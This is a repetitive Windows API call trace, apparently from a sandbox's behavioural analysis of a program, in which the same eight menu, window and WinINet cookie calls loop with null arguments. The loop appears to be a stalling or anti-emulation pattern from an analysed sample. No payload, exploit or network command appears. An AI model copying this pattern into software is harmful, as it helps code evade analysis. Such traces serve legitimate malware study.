	[0079.095] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.095] GetMenuCheckMarkDimensions () returned 983055
	[0079.095] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.095] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.095] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.095] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.095] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.095] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.095] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.095] GetMenuCheckMarkDimensions () returned 983055
	[0079.095] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.096] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.096] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.096] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.096] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.096] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.096] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.096] GetMenuCheckMarkDimensions () returned 983055
	[0079.096] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.096] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.096] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.096] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.096] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.096] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.096] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.096] GetMenuCheckMarkDimensions () returned 983055
	[0079.096] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.096] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.096] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.096] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.096] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.096] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.096] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.096] GetMenuCheckMarkDimensions () returned 983055
	[0079.096] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.096] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.096] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.096] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.096] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.096] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.096] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.096] GetMenuCheckMarkDimensions () returned 983055
	[0079.096] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.096] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.096] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.096] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.097] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.097] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.097] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.097] GetMenuCheckMarkDimensions () returned 983055
	[0079.097] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.097] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.097] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.097] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.097] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.097] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.097] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.097] GetMenuCheckMarkDimensions () returned 983055
	[0079.097] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.097] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.097] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.097] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.097] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.097] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.097] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.097] GetMenuCheckMarkDimensions () returned 983055
	[0079.097] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.097] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.097] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.097] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.097] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.097] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.097] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.097] GetMenuCheckMarkDimensions () returned 983055
	[0079.097] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.097] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.097] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.097] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.097] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.097] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.097] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.097] GetMenuCheckMarkDimensions () returned 983055
	[0079.097] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.098] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.098] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.098] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.098] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.098] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.098] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.098] GetMenuCheckMarkDimensions () returned 983055
	[0079.098] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.098] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.098] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.098] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.098] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.098] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.098] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.098] GetMenuCheckMarkDimensions () returned 983055
	[0079.098] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.098] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.098] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.098] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.098] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.098] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.098] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.098] GetMenuCheckMarkDimensions () returned 983055
	[0079.098] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.098] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.098] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.098] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.098] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.098] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.098] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.098] GetMenuCheckMarkDimensions () returned 983055
	[0079.098] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.098] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.098] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.098] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.098] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.099] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.099] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.099] GetMenuCheckMarkDimensions () returned 983055
	[0079.099] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.099] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.099] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.099] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.099] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.099] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.099] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.099] GetMenuCheckMarkDimensions () returned 983055
	[0079.099] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.099] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.099] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.099] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.099] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.099] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.099] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.099] GetMenuCheckMarkDimensions () returned 983055
	[0079.099] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.099] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.099] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.099] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.099] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.099] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.099] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.099] GetMenuCheckMarkDimensions () returned 983055
	[0079.099] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.099] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.099] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.099] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.099] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.099] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.099] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.099] GetMenuCheckMarkDimensions () returned 983055
	[0079.099] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.100] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.100] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.100] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.100] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.100] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.100] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.100] GetMenuCheckMarkDimensions () returned 983055
	[0079.100] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.100] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.100] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.100] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.100] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.100] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.100] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.100] GetMenuCheckMarkDimensions () returned 983055
	[0079.100] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.100] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.100] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.100] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.100] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.100] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.100] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.100] GetMenuCheckMarkDimensions () returned 983055
	[0079.100] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.100] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.100] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.100] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.100] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.100] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.100] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.100] GetMenuCheckMarkDimensions () returned 983055
	[0079.100] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.100] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.100] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.100] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.100] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.100] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.101] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.101] GetMenuCheckMarkDimensions () returned 983055
	[0079.101] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.101] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.101] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.101] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.101] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.101] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.101] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.101] GetMenuCheckMarkDimensions () returned 983055
	[0079.101] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.101] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.101] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.101] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.101] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.101] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.101] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.101] GetMenuCheckMarkDimensions () returned 983055
	[0079.101] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.101] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.101] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.101] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.101] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.101] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.101] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.101] GetMenuCheckMarkDimensions () returned 983055
	[0079.101] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.101] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.101] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.101] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.101] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.101] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.101] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.101] GetMenuCheckMarkDimensions () returned 983055
	[0079.101] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.102] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.102] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.102] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.102] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.102] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.102] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.102] GetMenuCheckMarkDimensions () returned 983055
	[0079.102] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.102] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.102] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.102] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.102] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.102] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.102] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.102] GetMenuCheckMarkDimensions () returned 983055
	[0079.102] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.102] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.102] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.102] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.102] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.102] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.102] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.102] GetMenuCheckMarkDimensions () returned 983055
	[0079.102] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.102] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.333] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.333] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.333] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.333] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.333] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.333] GetMenuCheckMarkDimensions () returned 983055
	[0079.333] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
